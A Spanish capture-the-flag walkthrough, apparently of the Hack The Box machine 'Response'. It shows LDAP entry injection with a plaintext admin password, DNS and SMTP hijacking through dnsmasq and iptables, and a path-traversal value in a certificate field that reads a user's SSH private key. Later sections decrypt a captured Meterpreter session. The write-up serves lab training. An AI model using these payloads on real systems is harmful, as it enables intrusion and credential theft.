172.18.0.4

Seguidamente, realiza un escaneo con nmap y almacena el contenido en un PDF, convirtiéndolo desde XML

1
2
3
4
# scan customer server and generate PDF report
outfile="output/scan_$ip"
nmap -v -Pn $ip -p 443 --script scripts/ssl-enum-ciphers,scripts/ssl-cert,scripts/ssl-heartbleed -oX "$outfile.xml"
wkhtmltopdf "$outfile.xml" "$outfile.pdf"

Intenta añadirlo a un LOG, siempre y cuando el email proporcionado sea válido

1
2
3
4
5
# get customer server manager
manager_uid=$(/usr/bin/ldapsearch -x -D $bind_dn -w $pwd -s sub -b 'ou=servers,dc=response,dc=htb' '(&(objectclass=ipHost)(ipHostNumber='$ip'))'|grep 'manager: uid='|cut -d '=' -f2|cut -d ',' -f1)
if [[ "$manager_uid" =~ ^[a-zA-Z0-9]+$ ]]; then
  echo "- retrieved manager uid: $manager_uid" >> $log_file

Aplica resolución DNS para encontrar el hostname asociado con el email

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# get SMTP server
domain=$(echo $mail|cut -d '@' -f2)
local_dns=true
smtp_server=$(nslookup -type=mx "$domain"|grep 'mail exchanger'|cut -d '=' -f2|sort|head -n1|cut -d ' ' -f3)
if [[ -z "$smtp_server" ]]; then
  echo "- failed to retrieve SMTP server for domain \"$domain\" locally" >> $log_file

  # SMTP server not found. try to query customer server via DNS
  local_dns=false
  smtp_server=$(timeout 0.5 nslookup -type=mx "$domain" "$ip"|grep 'mail exchanger'|cut -d '=' -f2|sort|head -n1|cut -d ' ' -f3)
  if [[ -z "$smtp_server" ]]; then
    echo "- failed to retrieve SMTP server for domain \"$domain\" from server $ip" >> $log_file

    # failed to retrieve SMTP server
    continue
  fi
fi

Tenía el doinio response-text.htb, que extraje antes del LDAP. Con dig aplico consultas DNS a través de los servidores de correo

bob@response:/home/scryh/scan$ dig @172.18.0.4 response-test.htb mx

; <<>> DiG 9.16.1-Ubuntu <<>> @172.18.0.4 response-test.htb mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46228
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: e6ca864677fae96a0100000063e0ddc597c934ac59086d32 (good)
;; QUESTION SECTION:
;response-test.htb.		IN	MX

;; ANSWER SECTION:
response-test.htb.	38400	IN	MX	10 mail.response-test.htb.

;; ADDITIONAL SECTION:
mail.response-test.htb.	38400	IN	A	172.18.0.4

;; Query time: 0 msec
;; SERVER: 172.18.0.4#53(172.18.0.4)
;; WHEN: Mon Feb 06 11:00:21 UTC 2023
;; MSG SIZE  rcvd: 111

Luego asocia el dominio con la IP

if [[ "$smtp_server" =~ ^[a-z0-9.-]+$ ]]; then
          echo "- retrieved SMTP server for domain \"$domain\": $smtp_server" >> $log_file

          # retrieve ip address of SMTP server
          if $local_dns; then
            smtp_server_ip=$(nslookup "$smtp_server"|grep 'Name:' -A2|grep 'Address:'|head -n1|cut -d ' ' -f2)
          else
            smtp_server_ip=$(nslookup "$smtp_server" "$ip"|grep 'Name:' -A2|grep 'Address:'|head -n1|cut -d ' ' -f2)
          fi

Y finalmente, llama al script send_report.py, pasándole como argumentos la IP, el correo y el fichero del output de nmap, para depositarlo en el LOG

# send PDF report via SMTP
./send_report.py "$smtp_server_ip" "$mail" "$outfile.pdf" >> $log_file

Este script no es tan largo

#!/usr/bin/env python3

import sys
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formatdate

def send_report(smtp_server, customer_email, fn):
  msg = MIMEMultipart()
  msg['From']    = 'reports@response.htb'
  msg['To']      = customer_email
  msg['Date']    = formatdate(localtime=True)
  msg['Subject'] = 'Response Scanning Engine Report'
  msg.attach(MIMEText('Dear Customer,\n\nthe attached file contains your detailed scanning report.\n\nBest regards,\nYour Response Scanning Team\n'))
  pdf = open(fn, 'rb').read()
  part = MIMEApplication(pdf, Name='Scanning_Report.pdf')
  part['Content-Disposition'] = 'attachment; filename="Scanning_Report.pdf"'
  msg.attach(part)
  smtp = smtplib.SMTP(smtp_server)
  smtp.sendmail(msg['From'], customer_email, msg.as_string())
  smtp.close()


def main():
  if (len(sys.argv) != 4):
    print('usage:\n%s <smtp_server> <customer_email> <report_file>' % sys.argv[0])
    quit()

  print('- sending report %s to customer %s via SMTP server %s' % ( sys.argv[3], sys.argv[2], sys.argv[1]))
  send_report(sys.argv[1], sys.argv[2], sys.argv[3])

if (__name__ == '__main__'):
  main()

Se encargar de tramitar los correos según los parámetros que se le hayan pasado, pero no hay ninguna información que pueda reutilizar

Tiene un directorio de scripts de nmap

bob@response:/home/scryh/scan/scripts$ ls
ssl-cert.nse  ssl-enum-ciphers.nse  ssl-heartbleed.nse

Buscos los scripts de nmap relacionados con SSL por lo que vi antes para analizarlos más a fondo

El script ssl-cert.nse de su directorio personal parece una copia modificada del original. Aplicando una diferenciación con diff

bob@response:/home/scryh/scan/scripts$ diff ./ssl-cert.nse /usr/share/nmap/scripts/ssl-cert.nse 
232,257d231
< local function read_file(fn)
<   local f = io.open(fn, 'r')
<   local content = ''
<   if f ~= nil then
<     content = f:read('*all')
<     f:close()
<   end
<   return content
< end
< 
< local function get_countryName(subject)
<   countryName = read_file('data/countryName/' .. subject['countryName'])
<   if (countryName == '') then
<     return 'UNKNOWN'
<   end
<   return countryName
< end
< 
< local function get_stateOrProvinceName(subject)
<   stateOrProvinceName = read_file('data/stateOrProvinceName/' .. subject['stateOrProvinceName'])
<   if (stateOrProvinceName == '') then
<     return 'NO DETAILS AVAILABLE'
<   end
<   return stateOrProvinceName
< end
< 
262,263d235
<   lines[#lines + 1] = "Full countryName: " .. get_countryName(cert.subject)
<   lines[#lines + 1] = "stateOrProvinceName Details: " .. get_stateOrProvinceName(cert.subject)
308a281,283
> 
> 
> 

Le está añadiendo unas líneas al output del archivo. Como está realizando un append al contenido que hay previamente, es posible que sea vulnearble a LFI, haciendo un directory path traversal hasta llegar a la raíz

Como se estaba aplicando un escaneo con nmap a ciertas IPs, podría tratar de cambiar la configuración para que haga un escaneo a mi equipo y quedarmen en escucha con WireShark para ver el tráfico entrante del lado de la máquina víctima.

Se podía ver la estructura en una consulta que hice cuando quería saber la IP del escaneo

bob@response:/home/scryh/scan$ /usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(objectclass=ipHost)'
# extended LDIF
#
# LDAPv3
# base <ou=servers,dc=response,dc=htb> with scope subtree
# filter: (objectclass=ipHost)
# requesting: ALL
#

# TestServer, servers, response.htb
dn: cn=TestServer,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: TestServer
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 172.18.0.4

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
bob@response:/home/scryh/scan$ 

Creo un archivo temporal rubbx.ldif en /tmp

dn: cn=rubbxserver,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: rubbxserver
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 10.10.16.3

Lo añado al LDAP, con las credenciales que tenía de antes

bob@response:/tmp$ ldapadd -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -f /tmp/rubbx.ldif 
adding new entry "cn=rubbxserver,ou=servers,dc=response,dc=htb"

Y recibo las peticiones, tanto en netcat como WireShark

Podría tratar de crear un servicio HTTPS con python para que no se envíe el RST Pack y termine la conexión. Encuentro un issue en Github que me sirve de ayuda

También tengo que crear un par de claves con openssl para que funcione

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

ChatGPT me proporcionó un script más óptimo

Le indico la interfaz que quiero usar y el puerto 443

from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "Hola, Mundo!"

if __name__ == "__main__":
    app.run(host='10.10.16.3', ssl_context=('cert.pem', 'key.pem'), port=443)

Le hago un escaneo de mi lado, para comprobar que todo está funcional

nmap -p443 -sCV 10.10.16.3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 12:30 GMT
Nmap scan report for 10.10.16.3
Host is up (0.00027s latency).

PORT    STATE SERVICE   VERSION
443/tcp open  ssl/https Werkzeug/2.2.2 Python/3.10.9
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-02-06T12:19:58
|_Not valid after:  2024-02-06T12:19:58
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Mon, 06 Feb 2023 12:30:47 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 12
|     Connection: close
|_    Hola, Mundo!
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port443-TCP:V=7.93%T=SSL%I=7%D=2/6%Time=63E0F2F7%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,B9,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.10\.9\r\nDate:\x20Mon,\x2006\x20Feb\x202023\x2012:30:47\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x2012\r\nConnection:\x20close\r\n\r\nHola,\x20Mundo!");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.38 seconds

Agreo de nuevo el servicio al LDAP. Es posible que haya que hacerlo varias veces, hasta que aparezca en la configuración

bob@response:/tmp$ /usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w 'aU4EZxEAOnimLNzk3' -s sub -b 'ou=servers,dc=response,dc=htb' '(objectclass=ipHost)' | grep ipHostNumber
ipHostNumber: 172.18.0.4
ipHostNumber: 10.10.16.3

Ahora ya recibo correctamente los paquetes

Pero para que pase por las validaciones que están implementadas en el script de Bash, tengo que redirigir todo el tráfico que me llega por el puerto 443 al servidor de correos de la máquina víctima por iptables.

Creo un archivo de configuración del DNS, dns.conf, añadiendo las direcciones IP junto con los subdominios y con 2 DNS Records, con diferentes probabilidades para que los encuentre una vez aplique la resolución

1
2
3
4
address=/tunnel/10.10.16.3
address=/mail.response-test.htb/10.10.16.3
mx-host=response-test.htb,mail1.response-test.htb,0
mx-host=response-test.htb,mail2.response-test.htb,10

Con dnsmasq, añado esta configuración, no a mi puerto de DNS principal, si no a uno temporal

dnsmasq -p 8053 -C dns.conf

En la máquina víctima, me aseguro de que el tunel se ha creado correctamente

bob@response:/tmp$ dig @10.10.16.3 tunnel

; <<>> DiG 9.16.1-Ubuntu <<>> @10.10.16.3 tunnel
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 29541
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0x0005, udp: 512
;; QUESTION SECTION:
;tunnel.				IN	A

;; AUTHORITY SECTION:
.			5	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2023020600 1800 900 604800 86400

;; Query time: 132 msec
;; SERVER: 10.10.16.3#53(10.10.16.3)
;; WHEN: Mon Feb 06 13:45:32 UTC 2023
;; MSG SIZE  rcvd: 110

Ahora con iptables, creo una regla para que todo lo que reciba por el puerto 53 por UDP de la máquina víctima, se redirija al nuevo DNS especialmente diseñado para que apunte al servidor de correos que yo no tengo acceso, ya que está empleando una interfaz que está en otro segmento fuera de mi alcance, pero como la petición no la voy a realizar yo, si no la máquina víctima, resuelve sin problemas

iptables -A PREROUTING -t nat -p udp -s 10.10.11.163 --dport 53 -j REDIRECT --to-ports 8053

Compruebo si resuelve para el dominio que response-test.htb, y que encuentra los dos DNS Records

bob@response:/tmp$ dig @10.10.16.3 response-test.htb mx

; <<>> DiG 9.16.1-Ubuntu <<>> @10.10.16.3 response-test.htb mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46958
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;response-test.htb.		IN	MX

;; ANSWER SECTION:
response-test.htb.	0	IN	MX	10 mail2.response-test.htb.
response-test.htb.	0	IN	MX	0 mail1.response-test.htb.

;; Query time: 136 msec
;; SERVER: 10.10.16.3#53(10.10.16.3)
;; WHEN: Mon Feb 06 13:54:38 UTC 2023
;; MSG SIZE  rcvd: 124

Como me daba problemas, dejé solamente un DNS Record

bob@response:/tmp$ dig @10.10.16.3 response-test.htb mx +short
0 mail.response-test.htb.

Ya resolviendo esa dirección a mi equipo, me monto un servicio SMTP con python, en modo debugging, para que se comunique conmigo y ver las peticiones

python3 -m smtpd -n -c DebuggingServer 10.10.16.3:25

Vuelvo a añadirme a la configuración del LDAP de la máquina víctima y espero a ver que recibo. Me llega un mensaje en base64 y formato bytes. Lo almaceno en un archivo y miro su tipo de archivo

cat mail | tr -d "\n" | base64 -d | sponge mail

file mail
mail: PDF document, version 1.4, 1 pages

Como es un PDF, lo renombro con dicha extensión para verlo en Firefox

Se trata del escaneo que ha realizado con nmap. Pudiendo ver ya su contenido, tengo que conseguir cargar dentro un archivo de la máquina víctima, abusando del LFI que había visto en el script en lua de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
local function output_str(cert)
  local lines = {}

  lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
  lines[#lines + 1] = "Full countryName: " .. get_countryName(cert.subject)
  lines[#lines + 1] = "stateOrProvinceName Details: " .. get_stateOrProvinceName(cert.subject)
  if cert.extensions then
    for _, e in ipairs(cert.extensions) do
      if e.name == "X509v3 Subject Alternative Name" then
        lines[#lines + 1] = "Subject Alternative Name: " .. e.value
        break
      end
    end
  end

Como se ve reflejado el Country Name, puedo intentar aplicar un Directory Path Traversal a la hora de generar las claves SSL, con idea de cargar un archivo en el PDF

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:../../../../../../../../../../../../../../../home/scryh/.ssh/id_rsa
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Me vuelvo a añadir a la configuración de LDAP y espero a que me llegue el correo a mi servidor SMTP

Consigo la id_rsa del usuario scryh. Me la copio, le doy el permiso 600 y me conecto por SSH sin proporcionar contraseña

ssh scryh@response.htb -i id_rsa

scryh@response:~$ whoami
scryh
scryh@response:~$ id
uid=1000(scryh) gid=1000(scryh) groups=1000(scryh)

Ahora puede acceder al directorio incident_2022-3-042 y listar su contenido

scryh@response:~/incident_2022-3-042$ ls
core.auto_update  dump.pcap  IR_report.pdf

Dentro hay una captura de tshark, WireShark o similares, un PDF y otro archivo que todavía no se lo que es. Me comparto un servicio HTTP desde la máquina víctima para descargarme todo y verlo en local

En el reporte están adviertiendo de que el archivo core.auto_update está infectado por un payload de Meterpreter y que se ha hecho una captura del tráfico de red que han almacenado en dump.pcap.

Subo el binario a VirusTotal, para conocer más a fondo de que se trata

Primero busco con tshark por palabras clave, como usuario y contraseña

tshark -r dump.pcap | grep -iE "username|password"
Running as user "root" and group "root". This could be dangerous.
  452   3.185248   172.19.0.3 → 172.19.0.2   RESP 279 Request: multi hset session:a7bec9b336e8acc48c7b1ef8427cd0c3 username b0b connected true expire session:a7bec9b336e8acc48c7b1ef8427cd0c3 3600 exec
  498   3.187265   172.19.0.3 → 172.19.0.2   RESP 552 Request: multi hmget session:a7bec9b336e8acc48c7b1ef8427cd0c3 username connected hmget session:6c194860b57fab9f0b0a44cdb01e43c5 username connected hmget session:2d8482b14e4912f366d3d45ae50941b9 username connected hmget session:bdbd444919899e2b4b2e294a3a521936 username connected hmget session:001fc317c442607b5fb14435803951ba username connected exec

Como encuentra un match, abro la captura con Wireshark y sigo el flujo del tráfico TCP, hasta llegar a lo siguiente:

Filtro por todas las peticiones por POST y encuentro la contraseña de Bob de la web (aunque creo que no me sirve de nada)

Veo un PHPSESSID, forzando una URL, como hice yo al principio

Busco en Google cual es el puerto por defecto de Meterpreter, para así filtrar por este

Encuentro muchos datos

Sigo el flujo TCP y muestro los datos en UTF-8, con intención de encontrar alguna cadena legible. En hexadecimal se detecta un patrón

Encuentro en los docs de Metasploit la forma en la que se cifran los datos en función de la cabecera

Se está utilizando la siguiente estructura

Le está aplicando un xor a cada valor, así que me abro el python y replico cada paso

python3
Python 3.10.9 (main, Dec  7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x9138 ^ 0x9053)
'0x16b'

Y se lo resto a la longitud total para tener los bytes de la cabecera

>>> 0x183-0x16b
24

Creo un script que se encargue de filtrar por los paquetes que me interesan

from scapy.all import *

tcp_stream = b''

def handle_pkt(pkt):
    global tcp_stream
    if TCP in pkt:
        if pkt [TCP].sport == 4444 or pkt[TCP].dport == 4444:
            tcp_stream += bytes(pkt[TCP].payload)

sniff(offline='dump.pcap', prn=handle_pkt)

f = open('tcp_stream.raw', 'wb')
f.write(tcp_stream)
f.close()

También se puede utilizando tcpdump

tcpdump -r dump.pcap "tcp and (port 4444 or port 4444)" -w tcp_stream.raw

Ahora falta desencriptar los datos. Me copio la xor_key, que corresponde a los primeros 4 bytes de la captura, abriendo directamente el archivo con python, y así para el resto de variables. Como tengo que aplicar un xor y no son strings, hay que crear un bucle que vaya iterando por cada byte para convertirlo. Para extraer la clave AES, voy a utilizar una herramienta llamada bulk_extractor, disponible en Github

bulk_extractor -o bulk_output core.auto_update

De todos los archivos que crea, solo unos pocos tienen contenido

du -hc * | grep -v ^0
4.0K	aes_keys.txt
4.0K	ccn_histogram.txt
4.0K	ccn.txt
4.0K	domain_histogram.txt
4.0K	domain.txt
20K	elf.txt
4.0K	email_domain_histogram.txt
4.0K	email_histogram.txt
4.0K	email.txt
12K	report.xml
4.0K	rfc822.txt
4.0K	url_histogram.txt
4.0K	url_services.txt
4.0K	url.txt
80K	total

Y obtengo la clave AES

# BANNER FILE NOT PROVIDED (-b option)
# BULK_EXTRACTOR-Version: 2.0.0
# Feature-Recorder: aes_keys
# Filename: core.auto_update
# Feature-File-Version: 1.1
1687472	f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5	AES256
2510080	f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5	AES256
2796144	f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5	AES256
2801600	f2 00 3c 14 3d c8 43 6f 39 ad 6f 8f c4 c2 4f 3d 35 a3 5d 86 2e 10 b4 c6 54 ae dc 0e d9 dd 3a c5	AES256

El script quedaría de la siguiente forma. Creador: IppSec

from Crypto.Cipher import AES
import msftype

def xor(data, key):
    r = b''
    for i in range(len(data)):
        r += bytes([data[i] ^ key[i % len(key)]])
    return r

aes_key = bytes.fromhex('f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e10b4c654aedc0ed9dd3ac5')

f = open('/home/rubbx/Desktop/HTB/Machines/Response/resources/tcp_stream.raw', 'rb')

while True:
    xor_key = f.read(4)
    session_key = xor(f.read(16), xor_key)
    enc_flag = xor(f.read(4), xor_key)
    pack_len = xor(f.read(4), xor_key)
    pack_type = xor(f.read(4), xor_key)
    pack_len_int = int.from_bytes(pack_len, 'big')


    if int.from_bytes(enc_flag,'big') == 0:
        tlv = xor (f.read(pack_len_int -8), xor_key)

    else :
        aes_iv = xor(f.read(16), xor_key)
        cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
        tlv = xor(f.read(pack_len_int - 24), xor_key)
        tlv = cipher.decrypt(tlv)
        tlv_len = tlv[0:4]
        tlv_type = tlv[4:8]
        tlv_type_1 = tlv_type[0:2]
        tlv_type_2 = int.from_bytes(tlv[2:4], 'big')
        
        print(msftype.MSFType(tlv_type_1).name)
        print(msftype.MSFType(tlv_type_2).name)
        break

f.close()

Y obtengo la clave AES. Es necesario otro script para saber que tipo de payload de meterpreter se ha utilizado

Creo una clase en python para importarla en el script

from enum import Enum
class MSFType (Enum):
    TLV_TYPE_ANY = 0
    TLV_TYPE_COMMAND_ID = 1
    TLV_TYPE_REQUEST_ID = 2
    TLV_TYPE_EXCEPTION = 3
    TLV_TYPE_RESULT = 4
    TLV_TYPE_STRING = 10
    TLV_TYPE_UINT = 11
    TLV_TYPE_BOOL = 12
    TLV_TYPE_LENGTH = 25
    TLV_TYPE_DATA = 26
    TLV_TYPE_FLAGS = 27
    TLV_TYPE_CHANNEL_ID = 50
    TLV_TYPE_CHANNEL_TYPE = 51
    TLV_TYPE_CHANNEL_DATA = 52
    TLV_TYPE_CHANNEL_DATA_GROUP = 53
    TLV_TYPE_CHANNEL_CLASS = 54
    TLV_TYPE_CHANNEL_PARENTID = 55
    TLV_TYPE_SEEK_WHENCE = 70
    TLV_TYPE_SEEK_OFFSET = 71
    TLV_TYPE_SEEK_POS = 72
    TLV_TYPE_EXCEPTION_CODE = 300
    TLV_TYPE_EXCEPTION_STRING = 301
    TLV_TYPE_LIBRARY_PATH = 400
    TLV_TYPE_TARGET_PATH = 401
    TLV_TYPE_MIGRATE_PID = 402
    TLV_TYPE_MIGRATE_PAYLOAD = 404
    TLV_TYPE_MIGRATE_ARCH = 405
    TLV_TYPE_MIGRATE_BASE_ADDR = 407
    TLV_TYPE_MIGRATE_ENTRY_POINT = 408
    TLV_TYPE_MIGRATE_SOCKET_PATH = 409
    TLV_TYPE_MIGRATE_STUB = 411
    TLV_TYPE_LIB_LOADER_NAME = 412
    TLV_TYPE_LIB_LOADER_ORDINAL = 413
    TLV_TYPE_TRANS_TYPE = 430
    TLV_TYPE_TRANS_URL = 431
    TLV_TYPE_TRANS_UA = 432
    TLV_TYPE_TRANS_COMM_TIMEOUT = 433
    TLV_TYPE_TRANS_SESSION_EXP = 434
    TLV_TYPE_TRANS_CERT_HASH = 435
    TLV_TYPE_TRANS_PROXY_HOST = 436
    TLV_TYPE_TRANS_PROXY_USER = 437
    TLV_TYPE_TRANS_PROXY_PASS = 438
    TLV_TYPE_TRANS_RETRY_TOTAL = 439
    TLV_TYPE_TRANS_RETRY_WAIT = 440
    TLV_TYPE_TRANS_HEADERS = 441
    TLV_TYPE_TRANS_GROUP = 442
    TLV_TYPE_MACHINE_ID = 460
    TLV_TYPE_UUID = 461
    TLV_TYPE_SESSION_GUID = 462
    TLV_TYPE_RSA_PUB_KEY = 550
    TLV_TYPE_SYM_KEY_TYPE = 551
    TLV_TYPE_SYM_KEY = 552
    TLV_TYPE_ENC_SYM_KEY = 553
    TLV_TYPE_PIVOT_ID = 650
    TLV_TYPE_PIVOT_STAGE_DATA = 651
    TLV_TYPE_PIVOT_NAMED_PIPE_NAME = 653

Y obtengo el valor del segundo TLV

python3 decrypt.py
TLV_TYPE_COMMAND_ID

El primer TLV no está asociado a ningún valor, si no a un rango. En caso de añadirlo al script no se va a ejecutar. Pero puedo imprimirlo como valor para buscarlo manualmente

python3 decrypt.py
b'\x00\x02'
TLV_TYPE_COMMAND_ID

Lo más probable es que sea UINT

Pero hay que tener en cuenta que es probable que haya más de un TLV en un paquete, por lo que conviene crear un bucle anidado que vaya iterando por la longitud de la variable tlv, de tal forma que vaya sustituyendo su valor en los primeros bytes de esa misma variable, y encontrar así otros TLVs

    else :
        aes_iv = xor(f.read(16), xor_key)
        cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
        tlv = xor(f.read(pack_len_int - 24), xor_key)
        tlv = cipher.decrypt(tlv)
        break

    while len(tlv) > 0:

        tlv_len = tlv[0:4]
        tlv_type = tlv[4:8]
        tlv_type_1 = tlv_type[0:2]
        tlv_type_2 = int.from_bytes(tlv_type[2:4], 'big')
        tlv_len_int = int.from_bytes(tlv_len, 'big')
        
        print(msftype.MSFType(tlv_type_2).name)

        tlv = tlv[tlv_len_int:]

f.close()

Ahora al ejecutar, obtengo todas las posibles combinaciones

python3 decrypt.py
TLV_TYPE_COMMAND_ID
TLV_TYPE_REQUEST_ID
TLV_TYPE_RSA_PUB_KEY
TLV_TYPE_UUID
TLV_TYPE_COMMAND_ID
TLV_TYPE_REQUEST_ID
TLV_TYPE_RESULT
TLV_TYPE_SYM_KEY_TYPE
TLV_TYPE_ENC_SYM_KEY

Una de ellas corresponde a una clave pública. Pero a no ser de que los valores de “p” y “q” sean muy pequeños no me sirve de nada. Busco por el ID del TLV en el diccionario que me monté antes. Puede ser que no tenga los suficientes TLV incorporados. Encuentro un archivo dentro de las extensiones de Meterpreter.

Añado todos los TLVs de la misma manera que antes

python3 decrypt.py
TLV_TYPE_COMMAND_ID
TLV_TYPE_REQUEST_ID
TLV_TYPE_RSA_PUB_KEY
TLV_TYPE_UUID
TLV_TYPE_COMMAND_ID
TLV_TYPE_REQUEST_ID
TLV_TYPE_RESULT
TLV_TYPE_SYM_KEY_TYPE
TLV_TYPE_ENC_SYM_KEY
TLV_TYPE_CHANNEL_DATA

Me puedo descargar la data. La almaceno en un fichero con extensión ZIP, aunque no tiene nada que ver

    if int.from_bytes(enc_flag,'big') == 0:
        tlv = xor (f.read(pack_len_int), xor_key)

    else :
        aes_iv = xor(f.read(16), xor_key)
        cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
        tlv = xor(f.read(pack_len_int - 24), xor_key)
        tlv = cipher.decrypt(tlv)

    while len(tlv) > 0:

        tlv_len = tlv[0:4]
        tlv_type = tlv[4:8]
        tlv_type_1 = tlv_type[0:2]
        tlv_type_2 = int.from_bytes(tlv_type[2:4], 'big')
        tlv_len_int = int.from_bytes(tlv_len, 'big')
        tlv_value = tlv[8:tlv_len_int-8]

        try:

            print(msftype.MSFType(tlv_type_2).name)

            if "TLV_TYPE_CHANNEL_DATA" == msftype.MSFType(tlv_type_2).name:
                f2 = open("file.zip", "ab")
                f2.write(tlv_value)
                f2.close()

        except:
            print("Unkown TLV type")

        tlv = tlv[tlv_len_int:]

f.close()

Lo descomprimo y veo su contenido

7z l file.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz (A0652),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1274538 bytes (1245 KiB)

Listing archive: file.zip

--
Path = file.zip
Type = zip
Physical Size = 1274538

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-03-14 09:37:39 D....            0            0  Documents
2022-03-14 09:37:21 .....          245          133  Documents/.tmux.conf
2022-06-15 11:37:42 .....      1278243      1271659  Documents/Screenshot from 2022-06-15 13-37-42.png
2022-03-14 09:37:39 .....           95           79  Documents/.vimrc
2022-03-14 08:57:29 .....         1522         1110  Documents/bookmarks_3_14_22.html
2022-03-14 09:36:27 .....          567          463  Documents/authorized_keys
------------------- ----- ------------ ------------  ------------------------
2022-06-15 11:37:42            1280672      1273444  5 files, 1 folders

Se puede ver una captura de pantalla

Copio a mano lo que hay de la id_rsa

Al hacerle un decode y representándolo en hexadecimal, se puede apreciar un null byte por en la segunda línea

cat data | base64 -d | xxd
base64: invalid input
00000000: 9ed1 1ddc a9d6 3699 1bc2 9dbc bd58 1ab1  ......6......X..
00000010: 43aa dc24 016c 3390 0000 0c10 0c70 b1a1  C..$.l3......p..
00000020: 9709 9c0c 6ff2 47f3 c5ef 1a1b b506 8db3  ....o.G.........
00000030: a262 2169 532b 6cde 71e2 addc ed9d 2ef6  .b!iS+l.q.......
00000040: 09a4 5cef 8d58 ca57 ed3d b497 4381 1088  ..\..X.W.=..C...
00000050: 6b5b a0d0 3acc 62b3 f0ab 4b9b baf4 5ead  k[..:.b...K...^.
00000060: 5198 e551 d344 d732 04ec 816f d90b ab33  Q..Q.D.2...o...3
00000070: 034b f3df d29e 541b 7b6e 316f e223 69f2  .K....T.{n1o.#i.
